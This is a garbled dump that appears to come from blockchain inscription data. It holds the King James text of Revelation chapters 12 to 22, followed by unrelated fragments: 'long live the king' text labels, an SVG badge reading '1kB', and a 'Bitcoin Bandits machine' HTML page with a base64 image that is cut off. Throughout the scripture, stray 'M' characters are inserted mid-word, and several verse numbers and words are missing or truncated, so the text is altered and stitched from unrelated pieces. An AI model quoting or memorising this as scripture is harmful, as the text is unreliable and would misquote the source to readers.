12:12: Therefore rejoice, ye heavens, and ye that dwell in them. Woe to the inhabiters of the earth and of the sea! for the devil is come down unto you, having great wrath, because he knoweth that he hath but a short time.
12:13: And when the dragon saw that he was cast unto the earth, he persecuted the woman which brought forth the man child.
12:14: And to the woman were given two wings of a great eagle, that she might fly into the wilderM
ness, into her place, where she is nourished for a time, and times, and half a time, from the face of the serpent.
12:15: And the serpent cast out of his mouth water as a flood after the woman, that he might cause her to be carried away of the flood.
12:16: And the earth helped the woman, and the earth opened her mouth, and swallowed up the flood which the dragon cast out of his mouth.
12:17: And the dragon was wroth with the woman, and went to make war with the remnant of her seed, which keep the commandments of GM
od, and have the testimony of Jesus Christ.
13:1: And I stood upon the sand of the sea, and saw a beast rise up out of the sea, having seven heads and ten horns, and upon his horns ten crowns, and upon his heads the name of blasphemy.
13:2: And the beast which I saw was like unto a leopard, and his feet were as the feet of a bear, and his mouth as the mouth of a lion: and the dragon gave him his power, and his seat, and great authority.
13:3: And I saw one of his heads as it were wounded to death; and hM
is deadly wound was healed: and all the world wondered after the beast.
13:4: And they worshipped the dragon which gave power unto the beast: and they worshipped the beast, saying, Who is like unto the beast? who is able to make war with him?
13:5: And there was given unto him a mouth speaking great things and blasphemies; and power was given unto him to continue forty and two months.
13:6: And he opened his mouth in blasphemy against God, to blaspheme his name, and his tabernacle, and them that dwell in heaven.
:7: And it was given unto him to make war with the saints, and to overcome them: and power was given him over all kindreds, and tongues, and nations.
13:8: And all that dwell upon the earth shall worship him, whose names are not written in the book of life of the Lamb slain from the foundation of the world.
13:9: If any man have an ear, let him hear.
13:10: He that leadeth into captivity shall go into captivity: he that killeth with the sword must be killed with the sword. Here is the patience and the faith of the M
13:11: And I beheld another beast coming up out of the earth; and he had two horns like a lamb, and he spake as a dragon.
13:12: And he exerciseth all the power of the first beast before him, and causeth the earth and them which dwell therein to worship the first beast, whose deadly wound was healed.
13:13: And he doeth great wonders, so that he maketh fire come down from heaven on the earth in the sight of men,
13:14: And deceiveth them that dwell on the earth by the means of those miracles which he had poM
wer to do in the sight of the beast; saying to them that dwell on the earth, that they should make an image to the beast, which had the wound by a sword, and did live.
13:15: And he had power to give life unto the image of the beast, that the image of the beast should both speak, and cause that as many as would not worship the image of the beast should be killed.
13:16: And he causeth all, both small and great, rich and poor, free and bond, to receive a mark in their right hand, or in their foreheads:
at no man might buy or sell, save he that had the mark, or the name of the beast, or the number of his name.
13:18: Here is wisdom. Let him that hath understanding count the number of the beast: for it is the number of a man; and his number is Six hundred threescore and six.
14:1: And I looked, and, lo, a Lamb stood on the mount Sion, and with him an hundred forty and four thousand, having his Father's name written in their foreheads.
14:2: And I heard a voice from heaven, as the voice of many waters, aM
nd as the voice of a great thunder: and I heard the voice of harpers harping with their harps:
14:3: And they sung as it were a new song before the throne, and before the four beasts, and the elders: and no man could learn that song but the hundred and forty and four thousand, which were redeemed from the earth.
14:4: These are they which were not defiled with women; for they are virgins. These are they which follow the Lamb whithersoever he goeth. These were redeemed from among men, being the firstfruits unto God M
14:5: And in their mouth was found no guile: for they are without fault before the throne of God.
14:6: And I saw another angel fly in the midst of heaven, having the everlasting gospel to preach unto them that dwell on the earth, and to every nation, and kindred, and tongue, and people,
14:7: Saying with a loud voice, Fear God, and give glory to him; for the hour of his judgment is come: and worship him that made heaven, and earth, and the sea, and the fountains of waters.
14:8: And there followedM
 another angel, saying, Babylon is fallen, is fallen, that great city, because she made all nations drink of the wine of the wrath of her fornication.
14:9: And the third angel followed them, saying with a loud voice, If any man worship the beast and his image, and receive his mark in his forehead, or in his hand,
14:10: The same shall drink of the wine of the wrath of God, which is poured out without mixture into the cup of his indignation; and he shall be tormented with fire and brimstone in the presence of the hM
oly angels, and in the presence of the Lamb:
14:11: And the smoke of their torment ascendeth up for ever and ever: and they have no rest day nor night, who worship the beast and his image, and whosoever receiveth the mark of his name.
14:12: Here is the patience of the saints: here are they that keep the commandments of God, and the faith of Jesus.
14:13: And I heard a voice from heaven saying unto me, Write, Blessed are the dead which die in the Lord from henceforth: Yea, saith the Spirit, that they may rest from M
their labours; and their works do follow them.
14:14: And I looked, and behold a white cloud, and upon the cloud one sat like unto the Son of man, having on his head a golden crown, and in his hand a sharp sickle.
14:15: And another angel came out of the temple, crying with a loud voice to him that sat on the cloud, Thrust in thy sickle, and reap: for the time is come for thee to reap; for the harvest of the earth is ripe.
14:16: And he that sat on the cloud thrust in his sickle on the earth; and the earth was reapM
14:17: And another angel came out of the temple which is in heaven, he also having a sharp sickle.
14:18: And another angel came out from the altar, which had power over fire; and cried with a loud cry to him that had the sharp sickle, saying, Thrust in thy sharp sickle, and gather the clusters of the vine of the earth; for her grapes are fully ripe.
14:19: And the angel thrust in his sickle into the earth, and gathered the vine of the earth, and cast it into the great winepress of the wrath of God.
the winepress was trodden without the city, and blood came out of the winepress, even unto the horse bridles, by the space of a thousand and six hundred furlongs.
15:1: And I saw another sign in heaven, great and marvellous, seven angels having the seven last plagues; for in them is filled up the wrath of God.
15:2: And I saw as it were a sea of glass mingled with fire: and them that had gotten the victory over the beast, and over his image, and over his mark, and over the number of his name, stand on tM
he sea of glass, having the harps of God.
15:3: And they sing the song of Moses the servant of God, and the song of the Lamb, saying, Great and marvellous are thy works, Lord God Almighty; just and true are thy ways, thou King of saints.
15:4: Who shall not fear thee, O Lord, and glorify thy name? for thou only art holy: for all nations shall come and worship before thee; for thy judgments are made manifest.
15:5: And after that I looked, and, behold, the temple of the tabernacle of the testimony in heaven was openM
15:6: And the seven angels came out of the temple, having the seven plagues, clothed in pure and white linen, and having their breasts girded with golden girdles.
15:7: And one of the four beasts gave unto the seven angels seven golden vials full of the wrath of God, who liveth for ever and ever.
15:8: And the temple was filled with smoke from the glory of God, and from his power; and no man was able to enter into the temple, till the seven plagues of the seven angels were fulfilled.
rd a great voice out of the temple saying to the seven angels, Go your ways, and pour out the vials of the wrath of God upon the earth.
16:2: And the first went, and poured out his vial upon the earth; and there fell a noisome and grievous sore upon the men which had the mark of the beast, and upon them which worshipped his image.
16:3: And the second angel poured out his vial upon the sea; and it became as the blood of a dead man: and every living soul died in the sea.
16:4: And the third angel poured out his vialM
 upon the rivers and fountains of waters; and they became blood.
16:5: And I heard the angel of the waters say, Thou art righteous, O Lord, which art, and wast, and shalt be, because thou hast judged thus.
16:6: For they have shed the blood of saints and prophets, and thou hast given them blood to drink; for they are worthy.
16:7: And I heard another out of the altar say, Even so, Lord God Almighty, true and righteous are thy judgments.
16:8: And the fourth angel poured out his vial upon the sun; and power was giveM
n unto him to scorch men with fire.
16:9: And men were scorched with great heat, and blasphemed the name of God, which hath power over these plagues: and they repented not to give him glory.
16:10: And the fifth angel poured out his vial upon the seat of the beast; and his kingdom was full of darkness; and they gnawed their tongues for pain,
16:11: And blasphemed the God of heaven because of their pains and their sores, and repented not of their deeds.
16:12: And the sixth angel poured out his vial upon the great rM
iver Euphrates; and the water thereof was dried up, that the way of the kings of the east might be prepared.
16:13: And I saw three unclean spirits like frogs come out of the mouth of the dragon, and out of the mouth of the beast, and out of the mouth of the false prophet.
16:14: For they are the spirits of devils, working miracles, which go forth unto the kings of the earth and of the whole world, to gather them to the battle of that great day of God Almighty.
16:15: Behold, I come as a thief. Blessed is he that wM
atcheth, and keepeth his garments, lest he walk naked, and they see his shame.
16:16: And he gathered them together into a place called in the Hebrew tongue Armageddon.
16:17: And the seventh angel poured out his vial into the air; and there came a great voice out of the temple of heaven, from the throne, saying, It is done.
16:18: And there were voices, and thunders, and lightnings; and there was a great earthquake, such as was not since men were upon the earth, so mighty an earthquake, and so great.
e great city was divided into three parts, and the cities of the nations fell: and great Babylon came in remembrance before God, to give unto her the cup of the wine of the fierceness of his wrath.
16:20: And every island fled away, and the mountains were not found.
16:21: And there fell upon men a great hail out of heaven, every stone about the weight of a talent: and men blasphemed God because of the plague of the hail; for the plague thereof was exceeding great.
17:1: And there came one of the seven M
angels which had the seven vials, and talked with me, saying unto me, Come hither; I will shew unto thee the judgment of the great whore that sitteth upon many waters:
17:2: With whom the kings of the earth have committed fornication, and the inhabitants of the earth have been made drunk with the wine of her fornication.
17:3: So he carried me away in the spirit into the wilderness: and I saw a woman sit upon a scarlet coloured beast, full of names of blasphemy, having seven heads and ten horns.
17:4: And the womanM
 was arrayed in purple and scarlet colour, and decked with gold and precious stones and pearls, having a golden cup in her hand full of abominations and filthiness of her fornication:
17:5: And upon her forehead was a name written, MYSTERY, BABYLON THE GREAT, THE MOTHER OF HARLOTS AND ABOMINATIONS OF THE EARTH.
17:6: And I saw the woman drunken with the blood of the saints, and with the blood of the martyrs of Jesus: and when I saw her, I wondered with great admiration.
17:7: And the angel said unto me, Wherefore dM
idst thou marvel? I will tell thee the mystery of the woman, and of the beast that carrieth her, which hath the seven heads and ten horns.
17:8: The beast that thou sawest was, and is not; and shall ascend out of the bottomless pit, and go into perdition: and they that dwell on the earth shall wonder, whose names were not written in the book of life from the foundation of the world, when they behold the beast that was, and is not, and yet is.
17:9: And here is the mind which hath wisdom. The seven heads are seven mM
ountains, on which the woman sitteth.
17:10: And there are seven kings: five are fallen, and one is, and the other is not yet come; and when he cometh, he must continue a short space.
17:11: And the beast that was, and is not, even he is the eighth, and is of the seven, and goeth into perdition.
17:12: And the ten horns which thou sawest are ten kings, which have received no kingdom as yet; but receive power as kings one hour with the beast.
17:13: These have one mind, and shall give their power and strength unto tM
17:14: These shall make war with the Lamb, and the Lamb shall overcome them: for he is Lord of lords, and King of kings: and they that are with him are called, and chosen, and faithful.
17:15: And he saith unto me, The waters which thou sawest, where the whore sitteth, are peoples, and multitudes, and nations, and tongues.
17:16: And the ten horns which thou sawest upon the beast, these shall hate the whore, and shall make her desolate and naked, and shall eat her flesh, and burn her with fire.
 God hath put in their hearts to fulfil his will, and to agree, and give their kingdom unto the beast, until the words of God shall be fulfilled.
17:18: And the woman which thou sawest is that great city, which reigneth over the kings of the earth.
18:1: And after these things I saw another angel come down from heaven, having great power; and the earth was lightened with his glory.
18:2: And he cried mightily with a strong voice, saying, Babylon the great is fallen, is fallen, and is become the habitatiM
on of devils, and the hold of every foul spirit, and a cage of every unclean and hateful bird.
18:3: For all nations have drunk of the wine of the wrath of her fornication, and the kings of the earth have committed fornication with her, and the merchants of the earth are waxed rich through the abundance of her delicacies.
18:4: And I heard another voice from heaven, saying, Come out of her, my people, that ye be not partakers of her sins, and that ye receive not of her plagues.
18:5: For her sins have reached unto M
heaven, and God hath remembered her iniquities.
18:6: Reward her even as she rewarded you, and double unto her double according to her works: in the cup which she hath filled fill to her double.
18:7: How much she hath glorified herself, and lived deliciously, so much torment and sorrow give her: for she saith in her heart, I sit a queen, and am no widow, and shall see no sorrow.
18:8: Therefore shall her plagues come in one day, death, and mourning, and famine; and she shall be utterly burned with fire: for strongM
 is the Lord God who judgeth her.
18:9: And the kings of the earth, who have committed fornication and lived deliciously with her, shall bewail her, and lament for her, when they shall see the smoke of her burning,
18:10: Standing afar off for the fear of her torment, saying, Alas, alas, that great city Babylon, that mighty city! for in one hour is thy judgment come.
18:11: And the merchants of the earth shall weep and mourn over her; for no man buyeth their merchandise any more:
18:12: The merchandise of gold, andM
 silver, and precious stones, and of pearls, and fine linen, and purple, and silk, and scarlet, and all thyine wood, and all manner vessels of ivory, and all manner vessels of most precious wood, and of brass, and iron, and marble,
18:13: And cinnamon, and odours, and ointments, and frankincense, and wine, and oil, and fine flour, and wheat, and beasts, and sheep, and horses, and chariots, and slaves, and souls of men.
18:14: And the fruits that thy soul lusted after are departed from thee, and all things which werM
e dainty and goodly are departed from thee, and thou shalt find them no more at all.
18:15: The merchants of these things, which were made rich by her, shall stand afar off for the fear of her torment, weeping and wailing,
18:16: And saying, Alas, alas, that great city, that was clothed in fine linen, and purple, and scarlet, and decked with gold, and precious stones, and pearls!
18:17: For in one hour so great riches is come to nought. And every shipmaster, and all the company in ships, and sailors, and as many asM
 trade by sea, stood afar off,
18:18: And cried when they saw the smoke of her burning, saying, What city is like unto this great city!
18:19: And they cast dust on their heads, and cried, weeping and wailing, saying, Alas, alas, that great city, wherein were made rich all that had ships in the sea by reason of her costliness! for in one hour is she made desolate.
18:20: Rejoice over her, thou heaven, and ye holy apostles and prophets; for God hath avenged you on her.
18:21: And a mighty angel took up a stone like M
a great millstone, and cast it into the sea, saying, Thus with violence shall that great city Babylon be thrown down, and shall be found no more at all.
18:22: And the voice of harpers, and musicians, and of pipers, and trumpeters, shall be heard no more at all in thee; and no craftsman, of whatsoever craft he be, shall be found any more in thee; and the sound of a millstone shall be heard no more at all in thee;
18:23: And the light of a candle shall shine no more at all in thee; and the voice of the bridegroom anM
d of the bride shall be heard no more at all in thee: for thy merchants were the great men of the earth; for by thy sorceries were all nations deceived.
18:24: And in her was found the blood of prophets, and of saints, and of all that were slain upon the earth.
19:1: And after these things I heard a great voice of much people in heaven, saying, Alleluia; Salvation, and glory, and honour, and power, unto the Lord our God:
19:2: For true and righteous are his judgments: for he hath judged the great whore,M
 which did corrupt the earth with her fornication, and hath avenged the blood of his servants at her hand.
19:3: And again they said, Alleluia. And her smoke rose up for ever and ever.
19:4: And the four and twenty elders and the four beasts fell down and worshipped God that sat on the throne, saying, Amen; Alleluia.
19:5: And a voice came out of the throne, saying, Praise our God, all ye his servants, and ye that fear him, both small and great.
19:6: And I heard as it were the voice of a great multitude, and as thM
e voice of many waters, and as the voice of mighty thunderings, saying, Alleluia: for the Lord God omnipotent reigneth.
19:7: Let us be glad and rejoice, and give honour to him: for the marriage of the Lamb is come, and his wife hath made herself ready.
19:8: And to her was granted that she should be arrayed in fine linen, clean and white: for the fine linen is the righteousness of saints.
19:9: And he saith unto me, Write, Blessed are they which are called unto the marriage supper of the Lamb. And he saith unto meM
, These are the true sayings of God.
19:10: And I fell at his feet to worship him. And he said unto me, See thou do it not: I am thy fellowservant, and of thy brethren that have the testimony of Jesus: worship God: for the testimony of Jesus is the spirit of prophecy.
19:11: And I saw heaven opened, and behold a white horse; and he that sat upon him was called Faithful and True, and in righteousness he doth judge and make war.
19:12: His eyes were as a flame of fire, and on his head were many crowns; and he had a nM
ame written, that no man knew, but he himself.
19:13: And he was clothed with a vesture dipped in blood: and his name is called The Word of God.
19:14: And the armies which were in heaven followed him upon white horses, clothed in fine linen, white and clean.
19:15: And out of his mouth goeth a sharp sword, that with it he should smite the nations: and he shall rule them with a rod of iron: and he treadeth the winepress of the fierceness and wrath of Almighty God.
19:16: And he hath on his vesture and on his thigh M
a name written, KING OF KINGS, AND LORD OF LORDS.
19:17: And I saw an angel standing in the sun; and he cried with a loud voice, saying to all the fowls that fly in the midst of heaven, Come and gather yourselves together unto the supper of the great God;
19:18: That ye may eat the flesh of kings, and the flesh of captains, and the flesh of mighty men, and the flesh of horses, and of them that sit on them, and the flesh of all men, both free and bond, both small and great.
19:19: And I saw the beast, and the kings M
of the earth, and their armies, gathered together to make war against him that sat on the horse, and against his army.
19:20: And the beast was taken, and with him the false prophet that wrought miracles before him, with which he deceived them that had received the mark of the beast, and them that worshipped his image. These both were cast alive into a lake of fire burning with brimstone.
19:21: And the remnant were slain with the sword of him that sat upon the horse, which sword proceeded out of his mouth: and allM
 the fowls were filled with their flesh.
20:1: And I saw an angel come down from heaven, having the key of the bottomless pit and a great chain in his hand.
20:2: And he laid hold on the dragon, that old serpent, which is the Devil, and Satan, and bound him a thousand years,
20:3: And cast him into the bottomless pit, and shut him up, and set a seal upon him, that he should deceive the nations no more, till the thousand years should be fulfilled: and after that he must be loosed a little season.
nd I saw thrones, and they sat upon them, and judgment was given unto them: and I saw the souls of them that were beheaded for the witness of Jesus, and for the word of God, and which had not worshipped the beast, neither his image, neither had received his mark upon their foreheads, or in their hands; and they lived and reigned with Christ a thousand years.
20:5: But the rest of the dead lived not again until the thousand years were finished. This is the first resurrection.
20:6: Blessed and holy is he that hath pM
art in the first resurrection: on such the second death hath no power, but they shall be priests of God and of Christ, and shall reign with him a thousand years.
20:7: And when the thousand years are expired, Satan shall be loosed out of his prison,
20:8: And shall go out to deceive the nations which are in the four quarters of the earth, Gog and Magog, to gather them together to battle: the number of whom is as the sand of the sea.
20:9: And they went up on the breadth of the earth, and compassed the camp of the sM
aints about, and the beloved city: and fire came down from God out of heaven, and devoured them.
20:10: And the devil that deceived them was cast into the lake of fire and brimstone, where the beast and the false prophet are, and shall be tormented day and night for ever and ever.
20:11: And I saw a great white throne, and him that sat on it, from whose face the earth and the heaven fled away; and there was found no place for them.
20:12: And I saw the dead, small and great, stand before God; and the books were opeM
ned: and another book was opened, which is the book of life: and the dead were judged out of those things which were written in the books, according to their works.
20:13: And the sea gave up the dead which were in it; and death and hell delivered up the dead which were in them: and they were judged every man according to their works.
20:14: And death and hell were cast into the lake of fire. This is the second death.
20:15: And whosoever was not found written in the book of life was cast into the lake of fire.
21:1: And I saw a new heaven and a new earth: for the first heaven and the first earth were passed away; and there was no more sea.
21:2: And I John saw the holy city, new Jerusalem, coming down from God out of heaven, prepared as a bride adorned for her husband.
21:3: And I heard a great voice out of heaven saying, Behold, the tabernacle of God is with men, and he will dwell with them, and they shall be his people, and God himself shall be with them, and be their God.
21:4: And God shall wipe away all teaM
rs from their eyes; and there shall be no more death, neither sorrow, nor crying, neither shall there be any more pain: for the former things are passed away.
21:5: And he that sat upon the throne said, Behold, I make all things new. And he said unto me, Write: for these words are true and faithful.
21:6: And he said unto me, It is done. I am Alpha and Omega, the beginning and the end. I will give unto him that is athirst of the fountain of the water of life freely.
21:7: He that overcometh shall inherit all thingsM
; and I will be his God, and he shall be my son.
21:8: But the fearful, and unbelieving, and the abominable, and murderers, and whoremongers, and sorcerers, and idolaters, and all liars, shall have their part in the lake which burneth with fire and brimstone: which is the second death.
21:9: And there came unto me one of the seven angels which had the seven vials full of the seven last plagues, and talked with me, saying, Come hither, I will shew thee the bride, the Lamb's wife.
21:10: And he carried me away in theM
 spirit to a great and high mountain, and shewed me that great city, the holy Jerusalem, descending out of heaven from God,
21:11: Having the glory of God: and her light was like unto a stone most precious, even like a jasper stone, clear as crystal;
21:12: And had a wall great and high, and had twelve gates, and at the gates twelve angels, and names written thereon, which are the names of the twelve tribes of the children of Israel:
21:13: On the east three gates; on the north three gates; on the south three gatesM
; and on the west three gates.
21:14: And the wall of the city had twelve foundations, and in them the names of the twelve apostles of the Lamb.
21:15: And he that talked with me had a golden reed to measure the city, and the gates thereof, and the wall thereof.
21:16: And the city lieth foursquare, and the length is as large as the breadth: and he measured the city with the reed, twelve thousand furlongs. The length and the breadth and the height of it are equal.
21:17: And he measured the wall thereof, an hundredM
 and forty and four cubits, according to the measure of a man, that is, of the angel.
21:18: And the building of the wall of it was of jasper: and the city was pure gold, like unto clear glass.
21:19: And the foundations of the wall of the city were garnished with all manner of precious stones. The first foundation was jasper; the second, sapphire; the third, a chalcedony; the fourth, an emerald;
21:20: The fifth, sardonyx; the sixth, sardius; the seventh, chrysolite; the eighth, beryl; the ninth, a topaz; the tentM
h, a chrysoprasus; the eleventh, a jacinth; the twelfth, an amethyst.
21:21: And the twelve gates were twelve pearls; every several gate was of one pearl: and the street of the city was pure gold, as it were transparent glass.
21:22: And I saw no temple therein: for the Lord God Almighty and the Lamb are the temple of it.
21:23: And the city had no need of the sun, neither of the moon, to shine in it: for the glory of God did lighten it, and the Lamb is the light thereof.
21:24: And the nations of them which are saM
ved shall walk in the light of it: and the kings of the earth do bring their glory and honour into it.
21:25: And the gates of it shall not be shut at all by day: for there shall be no night there.
21:26: And they shall bring the glory and honour of the nations into it.
21:27: And there shall in no wise enter into it any thing that defileth, neither whatsoever worketh abomination, or maketh a lie: but they which are written in the Lamb's book of life.
22:1: And he shewed me a pure river of water of lifeM
, clear as crystal, proceeding out of the throne of God and of the Lamb.
22:2: In the midst of the street of it, and on either side of the river, was there the tree of life, which bare twelve manner of fruits, and yielded her fruit every month: and the leaves of the tree were for the healing of the nations.
22:3: And there shall be no more curse: but the throne of God and of the Lamb shall be in it; and his servants shall serve him:
22:4: And they shall see his face; and his name shall be in their foreheads.
And there shall be no night there; and they need no candle, neither light of the sun; for the Lord God giveth them light: and they shall reign for ever and ever.
22:6: And he said unto me, These sayings are faithful and true: and the Lord God of the holy prophets sent his angel to shew unto his servants the things which must shortly be done.
22:7: Behold, I come quickly: blessed is he that keepeth the sayings of the prophecy of this book.
22:8: And I John saw these things, and heard them. And when I had heard and sM
een, I fell down to worship before the feet of the angel which shewed me these things.
22:9: Then saith he unto me, See thou do it not: for I am thy fellowservant, and of thy brethren the prophets, and of them which keep the sayings of this book: worship God.
22:10: And he saith unto me, Seal not the sayings of the prophecy of this book: for the time is at hand.
22:11: He that is unjust, let him be unjust still: and he which is filthy, let him be filthy still: and he that is righteous, let him be righteous still: aM
nd he that is holy, let him be holy still.
22:12: And, behold, I come quickly; and my reward is with me, to give every man according as his work shall be.
22:13: I am Alpha and Omega, the beginning and the end, the first and the last.
22:14: Blessed are they that do his commandments, that they may have right to the tree of life, and may enter in through the gates into the city.
22:15: For without are dogs, and sorcerers, and whoremongers, and murderers, and idolaters, and whosoever loveth and maketh a lie.
 Jesus have sent mine angel to testify unto you these things in the churches. I am the root and the offspring of David, and the bright and morning star.
22:17: And the Spirit and the bride say, Come. And let him that heareth say, Come. And let him that is athirst come. And whosoever will, let him take the water of life freely.
22:18: For I testify unto every man that heareth the words of the prophecy of this book, If any man shall add unto these things, God shall add unto him the plagues that are written in this boM
22:19: And if any man shall take away from the words of the book of this prophecy, God shall take away his part out of the book of life, and out of the holy city, and from the things which are written in this book.
22:20: He which testifieth these things saith, Surely I come quickly. Amen. Even so, come, Lord Jesus.
22:21: The grace of our Lord Jesus Christ be with you all. Amen.h!
text/plain;charset=utf-8
long live the kingh!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/plain;charset=utf-8
long live the kingh!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
